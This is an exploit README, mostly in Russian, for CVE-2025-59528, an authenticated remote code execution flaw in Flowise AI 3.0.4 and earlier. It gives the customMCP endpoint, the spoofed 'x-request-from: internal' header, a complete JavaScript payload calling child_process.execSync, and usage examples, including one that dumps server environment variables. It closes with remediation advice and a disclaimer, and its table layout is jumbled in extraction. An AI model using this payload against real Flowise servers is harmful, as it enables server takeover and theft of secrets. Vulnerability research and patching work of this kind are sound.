
Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.
Идентификатор CVE: CVE-2025-59528
Затронутое ПО: Flowise AI
Уязвимые версии: <= 3.0.4
Исправленная версия: 3.0.5 и новее
Серьёзность: Критическая
Автор: r3nsi15
Дата: 2025
Версии Flowise AI до версии 3.0.4 включительно позволяют аутентифицированному пользователю выполнить удаленное выполнение кода (RCE) на сервере, отправив специально сформированную полезную нагрузку JavaScript на конечную точку /api/v1/node-load-method/customMCP.
Метод загрузки узла customMCP принимает управляемый пользователем ввод, который вычисляется на стороне сервера как JavaScript, без надлежащей санитизации или изоляции. Внедряя полезную нагрузку, использующую child_process.execSync из Node.js, злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Flowise.
Также для конечной точки требуется наличие заголовка x-request-from: internal.
| Конечная точка | Метод | Требуется аутентификация | Назначение |
|---|---|---|---|
/api/v1/auth/login | POST | Нет | Аутентификация и получение сессии |
Файл: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
Проверка выполнения кода:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Получение переменных окружения сервера:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Выполнен вход
[+] Эксплойт отправлен
[+] Статус: 200
Эксплойт внедряет следующее JavaScript-выражение в поле mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — загружает встроенный модуль выполнения процессов Node.js.execSync('<command>') — синхронно выполняет команду ОС, предоставленную злоумышленником.К запросу также добавляется заголовок x-request-from: internal, чтобы пройти проверку внутреннего происхождения, которая в противном случае заблокировала бы вызов.
Конечная точка customMCP передаёт ввод пользователя непосредственно в контекст выполнения JavaScript на сервере без санитизации или изоляции. В сочетании с неограниченным доступом к основным модулям Node.js (в частности, child_process) через process.mainModule.require, это создаёт тривиально эксплуатируемый вектор RCE. Проверка заголовка x-request-from не обеспечивает значимой границы безопасности, поскольку она не проверяется по надёжному источнику.
Эти две уязвимости могут быть объединены для неаутентифицированной атаки RCE против экземпляров Flowise версий <= 3.0.4:
child_process, fs и т.д.) с помощью надлежащей изоляции (например, vm2, изолированные контексты или удаление доступа к process.mainModule).x-request-from с помощью серверного механизма, а не простой проверки строки.Это доказательство концепции предоставлено только для образовательных целей и разрешённых исследований безопасности. Использование этого скрипта против систем без явного письменного разрешения незаконно и неэтично. Автор и участники не несут ответственности за неправомерное использование.
/api/v1/node-load-method/customMCP |
| POST |
| Да (сессионный cookie) |
| Уязвимая конечная точка метода загрузки узла |
| Флаг | Длинная форма | Обязательный | Описание |
|---|
-e | --email | Да | Адрес электронной почты аутентифицированного пользователя |
-i | --url | Да | Базовый URL экземпляра Flowise |
-p | --password | Да | Пароль аутентифицированного пользователя |
-c | --cmd | Да | Команда ОС для выполнения на сервере |